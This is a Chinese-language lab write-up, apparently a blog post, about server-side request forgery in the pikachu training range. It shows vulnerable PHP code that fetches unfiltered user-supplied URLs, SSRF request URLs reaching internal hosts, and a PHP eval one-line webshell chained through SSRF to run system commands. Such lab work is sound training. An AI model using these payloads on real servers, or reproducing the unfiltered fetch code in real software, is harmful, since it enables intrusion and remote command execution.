SSRF漏洞

SSRF漏洞

pikachu靶场给出的解释:

SSRF(Server-Side Request Forgery:服务器端请求伪造)

其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制

​ 导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据

​ 数据流:攻击者----->服务器---->目标地址

​ 根据后台使用的函数的不同,对应的影响和利用方法又有不一样

PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
        如果一定要通过后台服务器远程去对用户指定("或者预埋在前端的请求")的地址进行资源请求,**则请做好目标地址的过滤**。

这样看来还是比较抽象的,下面通过靶场学习具体操作

pikachu curl

靶场只有一个链接

image-20220321183513940

点击之后是这样的

image-20220321183551142

观察到这首诗是通过一个php文件加载的一个url

ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php

将url的值换成baidu.com也是可以执行的

image-20220321183829893

如果在服务端(phpstudy建站)的WWW文件夹下有一个shell.php,里面有一个phpinfo()函数

image-20220321183950401

那么我们写

ssrf_curl.php?url=http://127.0.0.1/shell.php

image-20220321184049120

也执行了

将shell.php内容改成一句话木马<?php @eval($_GET['cmd']); ?>

注意这里只能用GET方法然后在URL行传cmd键值对,因为shell.php是被引用的链接,无法传递POST参数

(应该说POST参数会作为ssrf_curl.php的参数,而不是shell.php的参数)

image-20220321184327869

发现已经取得了webshell

这里shell.php是我们为了观察ssrf漏洞而自己建立的,真正的服务端应当是不存在的,但是可以通过sql注入或者文件上传或者文件包含传递一个shell.php,然后从这个可以ssrf攻击的网页利用一句话木马

后端逻辑

if(isset($_GET['url']) && $_GET['url'] != null){//判断前端是否传过来一个非空的url键值对

    //接收前端URL没问题,但是要做好过滤,如果不做过滤,就会导致SSRF
    $URL = $_GET['url'];
    $CH = curl_init($URL);
    curl_setopt($CH, CURLOPT_HEADER, FALSE);
    curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
    $RES = curl_exec($CH);
    curl_close($CH) ;
//ssrf的问是:前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。
//除了http/https外,curl还支持一些其他的协议curl --version 可以查看其支持的协议,telnet
//curl支持很多协议,有FTP, FTPS, HTTP, HTTPS, GOPHER, TELNET, DICT, FILE以及LDAP
    echo $RES;

}

curl_init初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。

HTTP会话(session)

在计算机术语中,会话是指一个终端用户与交互系统进行通讯的过程,比如从输入账户密码进入操作系统到退出操作系统就是一个会话过程。会话较多用于网络上,TCP的三次握手就创建了一个会话,TCP关闭连接就是关闭会话。

curl

以下部分参考了curl 的用法指南 - 阮一峰的网络日志 (ruanyifeng.com)

curl 目标相当于对目标发送一个GET请求

比如本机位置192.168.3.2,服务器位置192.168.3.8,服务器是使用phpstudy搭建的dvwa靶场,使用本机curl服务端

C:\Users\86135>curl 192.168.3.8/dvwa
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://192.168.3.8/dvwa/">here</a>.</p>
</body></html>

这一过程可以用wireshark清晰地观察

image-20220321190139443

1.三次握手之后建立TCP连接

2.位于192.168.3.2的客户端向位于192.168.3.8的服务端发送GET请求,请求内容是192.168.3.8/dvwa,HTTP协议版本1.1

3.位于192.168.3.8的服务端回复位于192.168.3.2的客户端301状态码,表明会发生跳转

确实会发生跳转,在浏览器访问http://192.168.3.8/dvwa会自动跳转到http://192.168.3.8/dvwa/login.php

4.四次挥手释放TCP连接

回到pikachu靶场

如此看来,后端先curl_init然后又curl_setopt是为了连接做准备,

curl_exec真正建立了连接

那么我们在pikachu靶场中这样写:

http://192.168.171.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.3.8/dvwa

image-20220321190853894

得到了命令行中"Moved Permanently"同样的效果

推测也会建立TCP连接

image-20220321190933333

事实上也确实如此

也就是说php中的curl系列函数和cmd中的curl函数具有相同的功能

pikachu file_get_content

同理在127.0.0.1/文件夹下有一个helloworld.html文件,里面就一行helloworld

我们的pikachu靶场在http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php

image-20220321191304497

靶场还是只有一个链接,点击之后是这样的

image-20220321191334084

现在将file的值修改

image-20220321191408809

发现helloworld被加载进入了页面中

执行一个shell文件也是可以的

image-20220321191847813

后端逻辑

if(isset($_GET['file']) && $_GET['file'] !=null){
    $filename = $_GET['file'];
    $str = file_get_contents($filename);
    echo $str;
}

file_get_contents:The function returns the read data or false on failure.

这个函数的作用是读取数据,而不是执行文件

http://192.168.171.1/shell.php?cmd=system("ipconfig");执行完毕之后结果返回给file_get_contents函数然后echo到前端页面上

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

灰球球

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值